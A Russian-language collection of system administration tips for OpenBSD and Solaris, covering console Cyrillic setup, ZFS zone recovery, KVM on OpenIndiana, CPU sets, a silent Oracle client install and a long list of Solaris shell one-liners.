    ----* Русификация консоли OpenBSD 3.7 (доп. ссылка 1)   Автор: Игорь Грабин  [обсудить]
     
    Подключение русской раскладки:
    
       echo ru > /etc/kbdtype
    
    После чего добавляем в /etc/rc.local такое:
    
       wsfontload /usr/share/misc/pcvtfonts/koi8-r-8x16
       for cons in `jot 6 1 6`; do wsconscfg -dF $cons; wsconscfg -t 80x25bf $cons; done
       unset cons
       wsconsctl -w keyboard.map+="keycode 157=Mode_Lock"
    
    Вместо koi8-r-8x16 можно указать koi8-u-8x16. 
    В качестве переключателя раскладки используется правый CTRL
    
    Замечание: Экран ttyC0 создаётся всегда и не может быть удалён, поэтому не
    может отображать кириллицу.
    
     

       Solaris специфика

    ----* Опыт восстановления работы zones в Solaris 11 Express/OpenSolaris (доп. ссылка 1)   Автор: sergm  [комментарии]
     
    После скоропостижной гибели жесткого диска с лежащими на нем зонами, наступило
    время восстановить их из бекапа и запустить. Казалось, тривиальная процедура,
    отрепетированная на тестовых системах (но не тех, где лежали зоны - это
    важно) отняла много времени и поставила несколько вопросов, ответы на которые
    еще придется поискать.
    
    Восстанавливаем зону из бекапа:
    
       # zfs send -R backup/zone/develop@rep201108250419 | zfs receive -F vol01/ zone/develop@rep201108250419
    
    Стартуем зону и наблюдаем странное:
    
       # zoneadm -z develop boot
    
       zone 'develop': ERROR: no active dataset.
       zone 'develop':
       zoneadm: zone 'develop': call to zoneadmd failed
    
    Ошибка явно говорит о том, что у нас что-то не в порядке со свойствами датасета.
    
    Начинаем осмотр датасета
    
    Чтобы было с чем сравнивать, я создал и запустил тестовую зону, свойства ее
    файловых систем и брал за эталон.
    
    Тестовая зона создается примерно так:
    
        # zonecfg -z testzone
    
        testzone: No such zone configured
        Use&#8217;create&#8217; to begin configuring a new zone.
        zonecfg:testzone>create
        zonecfg:testzone>set zonepath=/vol01/zone/testzone
        zonecfg:testzone>set autoboot=false
        zonecfg:testzone>add net
        zonecfg:testzone:net>set physical=e1000g4
        zonecfg:testzone:net>set address=192.168.0.24/24
        zonecfg:testzone:net>end
        zonecfg:testzone>verify
        zonecfg:testzone>commit
        zonecfg:testzone>exit
    
        # zoneadm -z testzone install
        ...
    
        # zoneadm -z testzone boot
    
    При инсталляции в OpenSolaris/Solaris 11 создаются три датасета (по адресу zonepath):
    
        # zfs list | grep vol01/zone/testzone
    
        NAME
        vol01/zone/testzone
        vol01/zone/testzone/ROOT
        vol01/zone/testzone/ROOT/zbe
    
    Лечение
    
        Смотрим полный список свойств датасетов исправной и сломанной зон и сравниваем их:
        
       # zfs get all vol01/zone/testzone
    
        (сдесь должен быть очень большой вывод, который я пропустил и самое интересное из которого можно увидеть ниже)
    
        # zfs get all vol01/zone/testzone/ROOT
        ...
        # zfs get all vol01/zone/testzone/ROOT/zbe
        ...
        # zfs get all vol01/zone/develop
        ...
        # zfs get all vol01/zone/develop/ROOT
        ...
        # zfs get all vol01/zone/develop/ROOT/zbe
    
        ...
    
    Наблюдаем основную разницу в данных свойствах датасета:
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/testzone/ROOT/zbe
    
        NAME    PROPERTY    VALUE    SOURCE
    
        vol01/zone/testzone/ROOT/zbe  zoned on inherited from vol01/zone/testzone/ROOT
        vol01/zone/testzone/ROOT/zbe  canmount noauto  local
        vol01/zone/testzone/ROOT/zbe  mountpoint legacy inherited from vol01/zone/testzone/ROOT
        vol01/zone/testzone/ROOT/zbe  org.opensolaris.libbe:parentbe  2aadf62d-9560-e14b-c36a-f9136fbce6e9  local
        vol01/zone/testzone/ROOT/zbe  org.opensolaris.libbe:active on  local
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/develop/ROOT/zbe
    
        NAME    PROPERTY    VALUE    SOURCE
    
        vol01/zone/develop/ROOT/zbe  zoned off default
        vol01/zone/develop/ROOT/zbe  canmount on default
        vol01/zone/develop/ROOT/zbe  mountpoint /vol01/zone/develop/ROOT/zbe  default
        vol01/zone/develop/ROOT/zbe  org.opensolaris.libbe:parentbe - -
        vol01/zone/develop/ROOT/zbe  org.opensolaris.libbe:active - -
    
    
    Исправляем, чтобы было нормально:
    
        # zfs set zoned=on vol01/zone/develop/ROOT/zbe
        # zfs set canmount=noauto vol01/zone/develop/ROOT/zbe
        # zfs set mountpoint=legacy vol01/zone/develop/ROOT/zbe
        # zfs set org.opensolaris.libbe:parentbe=2aadf62d-9860-e14b-c36a-f9106fbce6e9 vol01/zone/develop/ROOT/zbe
        # zfs set org.opensolaris.libbe:active=on vol01/zone/develop/ROOT/zbe
    
    Аналогично, правим vol01/zone/develop/ROOT после сравнения с работающей зоной:
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/testzone/ROOT
    
        NAME    PROPERTY    VALUE    SOURCE
        vol01/zone/testzone/ROOT  zoned on local
        vol01/zone/testzone/ROOT  canmount on default
        vol01/zone/testzone/ROOT  mountpoint legacy local
        vol01/zone/testzone/ROOT  org.opensolaris.libbe:parentbe - -
        vol01/zone/testzone/ROOT  org.opensolaris.libbe:active  - -
    
       # zfs get zoned,canmount,mountpoint,org.opensolaris.libbe:parentbe,org.opensolaris.libbe:active vol01/zone/develop/ROOT
    
        NAME    PROPERTY    VALUE    SOURCE
        vol01/zone/develop/ROOT  zoned off default
        vol01/zone/develop/ROOT  canmount on default
        vol01/zone/develop/ROOT  mountpoint  /vol01/zone/develop/ROOT     default
        vol01/zone/develop/ROOT  org.opensolaris.libbe:parentbe - -
        vol01/zone/develop/ROOT  org.opensolaris.libbe:active - -
    
       # zfs set zoned=on vol01/zone/develop/ROOT
       # zfs set canmount=on vol01/zone/develop/ROOT
    
    После этого у нас все хорошо: свойства датасетов практически идентичны.
    
        # zlogin -C develop
    
        [Connected to zone 'develop' console]
        [NOTICE: Zone booting up]
        SunOS Release 5.11 Version snv_134 64-bit
        Copyright 1983-2010 Sun Microsystems, Inc.  All rights reserved.
        Use is subject to license terms.
        Hostname: develop
        Reading ZFS config: done.
        Mounting ZFS filesystems: (5/5)
    
        develop console login: mike
        Password:
        Last login: Mon Aug 2 06:41:54 from nostalgia
        Sun Microsystems Inc.   SunOS 5.11      snv_134 February 2010
        (mike@develop)$ su
        Password:
        Aug 27 15:04:13 develop su: &#8216;su root&#8217; succeeded for mike on /dev/console
        (root@develop)# svcs -xv
        (root@develop)#
    
    Вместо послесловия
    
    Если у зоны были смонтированы  из глобальной зоны файловые системы через lofs,
    будет такой казус - зона загрузиться, но локальные файловые системы не будут
    смонтированы, сервис filesystem/local:default перейдет в состояние maintenance
    с ошибкой 262 в логах:
       /usr/bin/zfs mount -a failed: cannot mount local filesystem.
    
    Проблему можно решить экспортировав и затем импортировав зону
    
       # zoneadm -z webapp detach
       # zoneadm -z webapp attach
    
    После этого все будет работать нормально.
    
     
    ----* Использование системы виртуализации KVM в OpenIndiana (доп. ссылка 1)   [комментарии]
     
    В бета-версии 151 сборки проекта OpenIndiana, в рамках которого независимым
    сообществом развивается построенное на кодовой базе Illumos ответвление от
    OpenSolaris, появилась поддержка системы виртуализации KVM. Поддержка KVM была ранее
    портирована компанией
    Joyent для своей ОС SmartOS и на днях перенесена в Illumos (за исключением
    поддержки  KVM branded zone, которая пока не добавлена).
    
    <p>Для использования KVM пользователям последней доступной сборки oi_148
    необходимо выполнить обновление до oi_151_beta:
    
       sudo pkg set-publisher -g http://pkg.openindiana.org/dev-il -G http://pkg.openindiana.org/dev openindiana.org
       sudo pkg image-update --be-name oi_151_beta
    
    После чего можно подключить репозиторий с пакетами для работы с KVM и
    установить требуемые инструменты:
    
      sudo pkg set-publisher -p http://pkg.openindiana.org/kvm-test
      sudo pkg install driver/i86pc/kvm system/qemu system/qemu/kvm
    
    Управление окружениями производится при помощи стандартных утилит из состава
    QEMU. Использование libvirt пока не поддерживается.
    
    Пример использования.
    
    Создаем образ гостевой системы:
    
       qemu-img create -f qcow2 virt.img 15G 
    
    Устанавливаем операционную систему в гостевое окружение:
    
       qemu-kvm -hda virt.img -cdrom install_cd.iso -boot d -m 512
    
    Запускаем гостевое окружение (вместо qemu-kvm можно использовать qemu-system-x86_64):
    
       qemu-kvm -hda virt.img -net nic -net user
    
     
    ----* Улучшение производительности Solaris на многопроцессорных системах (доп. ссылка 1)   Автор: ikorolev  [комментарии]
     
    Для улучшения производительности в многопроцессорных (в том числе
    Multithreading) системах с ОС Solaris можно использовать выделенные процессоры
    для обработки прерываний устройств ввода-вывода. Это позволяем снизить
    количество переключений контекста для процессоров, увеличить попадания в кэш, в
    конечном счете отдать больше ресурсов для обработки пользовательских задач.
    
    Solaris 10:
    
    Для того, чтобы привязать процессор к обработке прерываний устройства:
    
    1.  Определяем процессор, на который попадает большинство системных прерываний
    по данному адаптеру (например по сетевому адаптеру nxge):
    
       # intrstat 2 1|egrep 'device|nxge'
       ..
       device | cpu92 %tim cpu93 %tim cpu94 %tim cpu95 %tim
       nxge#0 | 0 0.0 0 0.0 0 0.0 0 0.0
       device | cpu96 %tim cpu97 %tim cpu98 %tim cpu99 %tim
       nxge#0 | 20816 67.4 13877 33.6 0 0.0 0 0.0
       device | cpu100 %tim cpu101 %tim cpu102 %tim cpu103 %tim
       nxge#0 | 0 0.0 0 0.0 0 0.0 0 0.0
       ...
    
    В нашем случае - это процессоры 96 и 97.
    
    2.  Проверяем количество переключений контекста для этих процессоров (колонка
    csw в выводе команды mpstat):
    
       # mpstat 1 3 |egrep 'CPU|^ 96|^ 97'
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys  wt idl
       96 0 0 3385 4021 3970 84 0 9 53 0 466 3 13 0 83
       97 0 0 1028 1295 1207 131 2 14 29 0 691 9 5 0 87
    
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 0 0 3032 3552 3510 71 0 7 45 0 429 4 12 0 84
       97 0 0 981 1201 1131 116 1 23 27 0 429 2 4 0 94
    
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 0 0 3049 3598 3547 78 0 9 34 0 645 12 12 0 77
       97 0 0 980 1226 1139 160 1 5 29 0 245 3 5 0 92
    
    3.  Создаем процессорный set с процессорами 96 и 97
    
       # psrset -c 96 97
       created processor set 1
       processor 96: was not assigned, now 1
       processor 97: was not assigned, now 1
    
    4. Проверяем переключений контекста:
    
       # mpstat -P 1 1 3
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 1 0 2195 2462 2434 41 1 4 66 0 325 6 8 0 86
       97 1 0 775 769 725 63 1 8 58 0 354 7 3 0 91
    
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 0 0 3103 3634 3634 0 0 0 34 0 0 0 11 0 89
       97 0 0 1032 1193 1192 0 0 0 16 0 0 0 3 0 97
    
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       96 0 0 2941 3426 3425 0 0 0 44 0 0 0 12 0 88
       97 0 0 997 1172 1170 0 0 0 18 0 0 0 3 0 97
    
    
    Solaris 9:
    Т.к. утилиты intrstat в Solaris 9 нет, то ориентироваться можно только на вывод
    команды mpstat (колонка intr). Выбираем процессор или несколько процессоров с
    наибольшим количеством прерываний и переносим их в сэт.
    
    
    Если процессоров не так много, или сервер состоит из системных плат,
    объединенных через общую шину (типа sf4800, sf6900, e25k итд) - то можно пойти
    другим путем - привязать процессы к процессорному сэту и запретить прерывания
    для этого сэта. Тем самым повышаем попадания в кэш, уменьшится трафик между
    системными платами, можно выделить как бы гарантированный квант процессорных
    ресурсов приложению.
    Итак, пусть у нас средняя железка, 24 процессора. 
    
    Создадим процессорный сэт из процессоров 0-7
    
       # psrset -c 0-7
       created processor set 1
       processor 0: was not assigned, now 1
       processor 1: was not assigned, now 1
       processor 2: was not assigned, now 1
       ..
    
    Проверяем:
    
       # mpstat 2 5
       ...
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys  wt idl
       ...
       21 308 0 17969 1410 1132 955 304 391 380 0 1340 67 29 3 1
       22 364 0 18396 469 1 1541 472 583 612 0 2056 80 10 10 0
       23 301 0 11905 375 1 1121 376 464 342 0 2969 86 8 5 0
       0 0 0 221 499 396 0 0 0 14 0 0 0 1 0 99
       1 0 0 1 5 1 0 0 0 0 0 0 0 0 0 100
       2 0 0 1 5 1 0 0 0 0 0 0 0 0 0 100
       ...
    
    Ищем процесс, который мы собираемся отдать в процессорный сэт:
    
       # ps -ef | grep lsnr
       oracle 1811 1 0 Apr 12 ? 74:55 /oracle/dbase10g/bin/tnslsnr listener -inherit
    
    Привязываем процесс (и подпроцессы, которые он порождает в сэт)
    
       # psrset -b 1811
    
    Запрещаем прерывания на этот сэт
    
       # psrset -f 1
    
    Проверяем:
    
       # mpstat 2 5
       CPU minf mjf xcal intr ithr csw icsw migr smtx srw syscl usr sys wt idl
       ...
       22 470 0 10802 557 218 708 342 282 109 0 1982 89 9 2 0
       23 132 0 12200 1501 1260 610 262 264 166 0 1120 86 12 2 0
       0 0 0 1 6 1 0 0 0 0 0 0 0 0 0 100
       1 0 0 1 6 1 0 0 0 0 0 0 0 0 0 100
       2 0 0 1 6 1 0 0 0 0 0 0 0 0 0 100
    
    Убеждаемся, что прерывания на процессорах из сэта заметно уменьшились (столбец intr).
    Ну и в любой момент процессорный сэт можно удалить:
    
       # psrset -d 1
    
     
    ----* Изменение UID работающего процесса в Solaris 10 (доп. ссылка 1)   Автор: ikorolev  [комментарии]
     
    В утилите pcred из комплекта Solaris 10 появилась возможность на лету менять 
    идентификатор владельца уже запущенного процесса:
    
       # ps -ef | grep sleep
       vasya 4088 4081 0 09:50:53 pts/11 0:00 sleep 10000000
    
       # pcred -u 123 4088
    
       # ps -ef | grep sleep
       kolya 4088 4081 0 09:50:53 pts/11 0:00 sleep 10000000
    
     
    ----* Удаление zombie процессов в Solaris (доп. ссылка 1)   [комментарии]
     
    Нередко из-за отсутствия обработчика сигнала SIGCHLD в родительском процессе, 
    после завершения дочерней программы, остаются "<defunct>" или zombie процессы. 
    Zombie процессы не занимают системные ресурсы, кроме записи в таблице процессов, 
    что может вызвать ее переполнение и как следствие блокировку запуска новых процессов, 
    при большой интенсивности появления zombie. Zombie исчезают после завершения работы 
    родительского процесса, но записи в таблице также можно очистить принудительным путем.
    
    Получаем список zombie процессов:
    
        ps -ecl |grep "Z"
        F S  UID  PID  PPID  CLS PRI  ADDR  SZ  WCHAN TTY  TIME CMD
        0 Z  100 27841 27840   -   0     -   0  -     ?    0:00 <defunct>
    
    "kill" и "kill -9" в случае zombie использовать бесполезно. В Solaris для эмуляции вызова wait() 
    для чтения кода возврата из таблицы процессов существует утилита preap:
    
        preap 27841
        27841: exited with status 0
    
     
    ----* Замена для ldconfig в Solaris   Автор: TS  [обсудить]
     
    Чтобы добавить нестандартный путь к библиотекам (например /usr/local/ssl/lib/) в линкер в Solaris 
    вместо отсутствующей в этой ОС команды ldconfig нужно использовать команду crle:
    
       crle -u -l /usr/local/ssl/lib
    
     
    ----* Как обновить пакет в Solaris 8   Автор: TS  [комментарии]
     
    Если при установке пакета на Solaris 8 через pkgadd -d package он ругается что
    такой пакет уже установлен -
       Current administration requires that a unique instance of the <pkg>
       package be created. However, the maximum number of instances of the
       package that may be supported at one time on the same system has already been met.
       No changes were made to the system.
    
    нужно отредактировать /var/sadm/install/admin/default
    
       instance=unique
    
    заменить на
    
       instance=overwrite
    
     
    ----* Установка клиента Oracle в Solaris без использования графического интерфейса (доп. ссылка 1)   Автор: Kovalchuk Egor  [обсудить]
     
    На официальном сайте Oracle присутствует небольшое руководство по установке в Solaris
    без использования графического интерфейса, при этом оно сводится к тому, 
    что нужно запустить скрипт под графическим интерфейсом с дополнительными параметрами.
    
       /directory_path/runInstaller -record -destinationFile response_filename
    
    В итоге получаем файл, который может быть использован при установке,
    но установка графического интерфейса была не приемлема, 
    поэтому пришлось разбираться самому с файлом ответов.
    
    Для установки нужно скачать клиента с оф. сайта Oracle.
    скачать можно по адресу:
     http://download-llnw.oracle.com/otn/solaris/oracle10g/10201/sol64/10gr2_client_sol.cpio.gz
    
    создайте пользователя и группу для клиента
    например:
    
       useradd oracle
       groupadd oracle
       usermod -g oracle oracle
       passwd oracle	
    
    Создайте папку распакуйте полученный архив в эту папку и дайте команду
    
       chown -R oracle:oracle /directory_path/	
    
    Теперь нужно править или создать свой фаил ответов
    
       версию можем не трогать
       RESPONSEFILE_VERSION=2.2.1.0.0
    
       имя группы которую создали для оракла
       UNIX_GROUP_NAME="oracle"
    
       если вы брали стандартый дистрибутив с сайта менять не надо
       FROM_LOCATION="../stage/products.xml"
    
       имя и путь к следующему фаилу ответов
       NEXT_SESSION_RESPONSE=""
    
       Куда устанавливаем
       ORACLE_HOME="/export/home/oracle/client"
       ORACLE_HOME_NAME="OraClient"
    
       эти значения нужно оставить по молчанию. Беруться из примеров файлов ответов в дистрибутиве
       TOPLEVEL_COMPONENT={"oracle.client","10.2.0.1.0"}
       DEINSTALL_LIST={"oracle.client","10.2.0.1.0"}
    
       т.к. у нас тихая инсталяция а эти параметры требуют графический интерфейс скидываем их все в false 
       SHOW_SPLASH_SCREEN=false
       SHOW_WELCOME_PAGE=false
       SHOW_CUSTOM_TREE_PAGE=false
       SHOW_SUMMARY_PAGE=false
       SHOW_INSTALL_PROGRESS_PAGE=false
       SHOW_CONFIG_TOOL_PAGE=false
       SHOW_XML_PREREQ_PAGE=false
       SHOW_ROOTSH_CONFIRMATION=true
       SHOW_END_SESSION_PAGE=false
       SHOW_EXIT_CONFIRMATION=false
       SHOW_DEINSTALL_CONFIRMATION=false
       SHOW_DEINSTALL_PROGRESS=false
    
       следующая сессия нам не нужна поэтому скидываем параметры в false
       NEXT_SESSION=false
       NEXT_SESSION_ON_FAIL=false
    
       CLUSTER_NODES={}
    
       какую папку удалить после установки
       REMOVE_HOMES=""
    
       выбор поддержки языка
       COMPONENT_LANGUAGES={"en"}
    
       тип исталяции 
       INSTALL_TYPE="Administrator"
    
       если используется тип инсталяции Custom нужно добавить еще один параметр, 
       где перечисляются нужные компоненты
       DEPENDENCY_LIST={"oracle.sqlj:10.2.0.1.0","oracle.rdbms.util:10.2.0.1.0",
          "oracle.javavm.client:10.2.0.1.0","oracle.sqlplus:10.2.0.1.0",
          "oracle.dbjava.jdbc:10.2.0.1.0","oracle.ldap.client:10.2.0.1.0",
           "oracle.rdbms.oci:10.2.0.1.0","oracle.precomp:10.2.0.1.0","oracle.xdk:10.2.0.1.0",
           "oracle.swd.opatch:10.2.0.1.0","oracle.network.aso:10.2.0.1.0","oracle.oem.client:10.2.0.1.0",
           "oracle.oraolap.mgmt:10.2.0.1.0","oracle.network.client:10.2.0.1.0","oracle.ordim.client:10.2.0.1.0",
           "oracle.ons:10.1.0.3.0","oracle.has.client:10.2.0.1.0"}
    
    
    после того как готов файл, залогиниваемся под пользователем клиента и запускаем команду
    
       /directory_path/runInstaller -silent -responseFile responsefilename
    
    снова перелогиниваемся под рутом и запускаем скрипт root.sh, который лежит в
    папке с установленным клиентом
    
    Установка прошла успешно
    А дальше пользуемся готовыми статьями по настройке подключений.
    
    
    P.S. возможны проблемы, когда некоторые фалы копируются битыми, просто
    перезапустите скрипт утановки.
     
    
     
    ----* Какие бывают релизы Solaris (доп. ссылка 1)   Автор: blog.curthread.org  [обсудить]
     
    • Solaris 10 - наиболее стабильный на данный момент выпуск Solaris, предназначенный для промышленного использования в продуктивных окружениях. Свободно доступен для скачивания на сайте Sun Microsystems. Для него осуществляется всесторонняя поддержка, выпускаются патчи исправляющие ошибки и проблемы безопасности. С момента выхода первой версии Solaris 10 вышло несколько обновлений, содержащих новую функциональность и исправления ошибок, список которых и краткое описание изменений можно найти здесь. Эти обновления выходят в среднем раз в полгода и именуются по номерам а также по дате их выпуска (к примеру на текущий момент последним является обновление 4 - оно-же 08/07).
    • Solaris Express Community Edition (SXCE) - также называемый Nevada, это дистрибутив основанный на последних разработках, который в будущем превратится в Solaris 11. Новые версии выходят достаточно часто и именуются по номеру сборки (на данный момент последняя - 81). Основная цель Solaris Nevada - разработка и тестирование новой функциональности. Свободно доступен для скачивания на сайте opensolaris.org
    • Solaris Express Developer Edition (SXDE) - бинарный дистрибутив основанный на SXCE, прошедший этап тестирования и обеспеченный поддержкой. Предназначен в первую очередь для разработчиков. Релизы происходят значительно реже SXCE и именуются по дате выхода - последний на данный момент - 1/08. Свободно доступен для скачивания на сайте Sun Microsystems.
    • Open Solaris - не является полноценным дистрибутивом, а представляет из себя открытое ядро ОС и набор базовых утилит. Не содержит многих компонентов системы, необходимых для работы, и инсталлятора, поэтому может быть установлен только поверх SXCE/SXDE (которые сами построены на основе OpenSolaris). Достаточно часто появляются бинарные сборки. Доступен для свободного скачивания на opensolaris.org и сайте Sun Microsystems. Стоит отметить что постоянно идет процесс портирования новых возможностей из Open Solaris в Solaris 10.
    • Solaris Indiana - дистрибутив основанный на OpenSolaris и направленный на использование в качестве десктопа. На данный момент последняя версия - Developer Preview 2, выполненная в виде LiveCD. Доступен для свободного скачивания на opensolaris.org. Возможно в будущем Indiana заменит Developer Edition.
     
    ----* Подборка полезных shell команд для Solaris (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     Отладка
    cat -v -t -e [file] Показать неотображаемые символы
    dumpadm -d swap Сконфигурировать swap устройство как dump устройство
    ld -l Проверка наличия библиотеки
    truss -f -p Использование нескольких окон. Это может использоваться при отслеживании setuid/setgid программ
    truss executable Отслеживание команды (полезно при отладке)

    Работа с диском
    /bin/mount -F hsfs -o ro /dev/sr0 /cdrom Монтирование ISO 9660 CDROM
    /usr/bin/iostat -E Отображение статистики дисков
    du -ad /var | sort -nr Отчет об использовании /var сортированный в обратном порядке
    du -k . Отчет об использовании диска в килобайтах
    du -sk * | sort -nr | head Показать 10 самых больших файлов/каталогов
    du -sk *|sort -k1,1n Отчет об использованном пространстве в текущем каталоге
    du -sk . Отчет об общем использовании диска в килобайтах
    fdformat -d -U Форматирование дискеты
    newfs -Nv /dev/rdsk/c0t0d0s1 Просмотр доступных суперблоков
    prtvtoc /dev/rdsk/c0t0d0s2 Информация о геометрии и разделах диска
    prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2 Копировать таблицу разделов с одного диска на другой
    quot -af Сколько дискового пространства используется пользователем
    volrmmount -i floppy Монтирование дисковода или другого устройства просто по его имени

    Параметры ядра
    ndd /dev/ip ip_forwarding Показать переменную ip_forwarding в ядре
    ndd /dev/ip ip_forwarding 1 Установить переменную ip_forwarding в ядре
    ndd /dev/ip \? Показать все IP переменные в ядре

    Управление файлами
    dos2unix | -ascii Конвертировать файлы формата DOS в формат Unix
    fold -w 180 Удалить строки с больше чем 180 символов
    split [-linecount] [file] Разбить файл на части
    [vi] : %s/existing/new/g Поиск и замена текста в vi
    [vi] :set list Показать неотображаемые символы в vi
    [vi] :set nu Пронумеровать строки в vi
    [vi] :set ts=[num] Установить значение табуляции в vi

    Файловая система
    /sbin/uadmin x x Синхронизация файловых систем и быстрая перезагрузка
    awk ' END {print NR}' file_name Вывести количество строк в файле
    cat /dev/null > filename Нулевой вывод в файл без прерывания пайпа
    dd if=/dev/rdsk/... of=/dev/rdsk/... bs=4096 Сделать зеркало загрузочного диска
    df -k | grep dg| awk '{print $6}' |xargs -n 1 umount Отмонтировать все файловые системы в группе дисков dg
    fsck -F ufs -o b=97472 /dev/rdsk/c0t0d0s0 Проверить и восстановить файловую систему UFS на c0t0d0s0 используя альтернативные суперблоки
    fsck -F ufs -y /dev/rdsk/c0t0d0s0 Восстановить файловую систему UFS на c0t0d0s0 без подтверждения
    fsck -F ufs /dev/rdsk/c0t0d0s0 Проверить файловую систему UFS на c0t0d0s0
    gzip -d -c tarball.tgz | (cd /[dir];tar xf - ) & Распаковка архива в указанное место
    gzip -dc file1.tar.gz | tar xf - Распаковка архива
    ln [-fhns] Создать жесткую или мягкую ссылку
    ls -al | awk '$3 == "oracle" || $3 == "root" {print $9}' Вывод всех файлов, владельцем которых является
    ls -l | sort +4n Список файлов по размеру
    ls -la | awk '{ print $5," ",$9 }' | sort -rn Размер файлов в текущем каталоге
    ls -lR | awk '{total +=$5};END {print "Total size: " total/1024/1024 "MB" }' Рекурсивный подсчет размера каталогов в Мб
    mkisofs -l -L -r -o [image-name].iso [directory] Создать образ ISO из каталога
    mount -F ufs -o rw,remount / Перемонтировать корневой раздел в rw
    mount -o remount,logging /spare Перемонтировать ro в rw aи включить журналирование ufs
    mount -f pcfs /dev/dsk/c0d0p1 /export/dos Примонтировать раздел DOS
    mv [filename]{,.new_suffix} Переименовать файл
    pax -rw . /newdir Альтернативный метод копирования каталогов
    prtvtoc /dev/rdsk/c0t0d0s2 | fmthard -s - /dev/rdsk/c0t1d0s2 Клонировать таблицу разделов
    tar cf - . | (cd /newdir ; tar xf -) Рекурсивное копирование файлов и разрешенй
    tar cvf filename.tar Создать архив
    tar xvf filename.tar Распаковать архив
    X=$(wc -l < filename); echo $X Подсчет количества строк в файле (ksh)
    zcat Распаковка patch_file
    zcat [cpio file] | cpio -itmv Показать содержимое cpio

    Передача файлов
    find . -depth | cpio -pdmv /path/tobe/copied/to Быстрая альтернатива cp -pr
    find . -follow | cpio -pdumL /path/tobe/copied/to Копирование с символическими ссылками
    get filename.suffix |"tar xf -" Недокументированная возможность FTP
    ssh cd /some/directory \&\& tar cf - | ssh cd /some/direstory \&\& tar xvf - Переместить файлы без фактического обращения к ним
    put "| tar cf - ." filename.tar Недокументированная возможность FTP
    sendport Команда FTP, служащая для передачи большого количества файлов в пределах одной сессии

    Общие
    /bin/printf '%d\n' '0x' Преобразование шестнадцатеричного числа в десятичное
    /usr/bin/catman -w Создать индекс базы данных страниц руководства man
    FQ_FILENAME=; echo ${FQ_FILENAME%/*}
    mailx -H -u Список заголовков писем конкретного пользователя
    ps -ef | grep -i $@
    set filec Установить автодополнение имен файлов для csh
    uuencode [filename] [filename] | mailx -s "Subject" [user to mail] Послать файл в аттаче
    xauth -f /home/${LOGNAME} extract - ${DISPLAY} | xauth merge -

    Аппаратное обеспечение
    cfgadm Проверить конфигурирумые аппаратные устройства
    m64config -depth 8|24 Установить глубину цвета M64
    m64config -prconf Вывести конфигурацию адаптера M64
    m64config -res 'video_mode' Изменить разрешение графического адаптера M64
    prtpicl -v | grep sync-speed Обзор скорости синхронизации SCSI

    Ядро
    /usr/sbin/modinfo Информация о модулях ядра
    /usr/sbin/modload Загрузить модуль ядра
    /usr/sbin/modunload -i Выгрузить модуль ядра
    /usr/sbin/sysdef Детальный вывод настройки ядра
    nm -x /dev/ksyms | grep OBJ | more Настраиваемые параметры ядра

    Память
    pagesize -a Доступный размер страницы для Solaris 9
    prtconf | grep Mem Вывод размера памяти на локальной машине

    Информация о сети
    arp -a Вывод arp таблицы
    arp -d myhost Удалить запись определенного хоста из таблицы
    lsof -iTCP@10.20.2.9 Отобразить открытые файлы для определенного хоста
    ndd /dev/arp arp_cache_report Напечатать arp таблицу выводя mac и IP адреса
    netstat -a | grep EST | wc -l Показать число активных подключений к данной машине
    netstat -a | more Показать состояние сокетов на этой машине
    netstat -i Показать состояние TCP/IP интерфейсов
    netstat -k hme0 Недокументированная опция netstat
    netstat -np Аналог команды arp -a, без разрешения имен
    netstat -r Таблица маршрутов
    netstat -rn Таблица маршрутов, без разрешениия имен
    snoop -S -ta [machine] Прослушивание сетевых пакетов, включая размер и время
    traceroute Маршрут к данному адресу

    Настройка сети
    /sbin/ifconfig hme0:1 inet 10.210.xx.xxx netmask 255.255.0.0 broadcast 10.210.xxx.xxx Виртуальный интерфейс
    /sbin/ifconfig hme0:1 up Поднять виртуальный интерфейс
    /usr/sbin/ndd -set /dev/hme adv_100fdx_cap 1
    ifconfig eth0 10.1.1.1 netmask 255.255.255.255 Добавить интерфейс
    ifconfig eth0 mtu 1500 Сменить MTU на интерфейсе
    ndd -set /dev/ip ip_addrs_per_if 1-8192 Задать больше, чем 256 виртуальных IP адресов
    ndd -set /dev/tcp tcp_recv_hiwat 65535 Увеличить TCP буфер приема на Sol2.5.1 с 100BaseTx
    ndd -set /dev/tcp tcp_xmit_hiwat 65535 Увеличить TCP буфер передачи на Sol2.5.1 с 100BaseTx

    Процессы
    /usr/proc/bin/ptree Вывести дерево родителя/детей для процесса
    /usr/proc/bin/pwdx Вывести рабочий каталог процесса
    /usr/ucb/ps -aux | more Отобразить использование CPU % для каждого процесса
    /usr/ucb/ps -auxww | grep Получить полный список процессов (очень длинный)
    fuser -uc /var Процессы, запущенные из /var
    ipcs Отчет о межпроцессных взаимодействиях
    kill -HUP `ps -ef | grep [p]roccess | awk '{print $2}'` Послать всем связанным процессам сигнал HUP за один раз
    lsof -i TCP:25 Соотнести порт с приложением
    pfiles Показать файлы, открытые процессом
    pkill -n Убить процесс с определенным именем
    prstat -a Альтернатива команде top
    ps -edf -o pcpu,pid,user,args Форматированый вывод 'ps'
    ps -ef | grep -i | awk '{ print $2 }' Создать список PID содержащих
    ps -ef | grep | grep -v grep | cut -c 10-15 | xargs kill -9 Найти и убить процесс
    ps -ef | more Показать все запущенные процессы
    ps -ef|grep -v "0:00"|more Получить список любого процесса с процессорным временем больше чем 0:00
    ps -eo pid,args Список процессов в простом формате
    ps -fu oracle|grep pmon Посмотреть, какие инстансы Oracle запущены
    top -b 1 Отобразить наиболее прожорливый процесс и выйти

    Управление ресурсами
    /usr/bin/ldd [filename] Список динамических зависимостей выполняемого файла
    /usr/proc/bin/pmap pid Отчет о карте адресного пространства процесса

    Маршрутизация
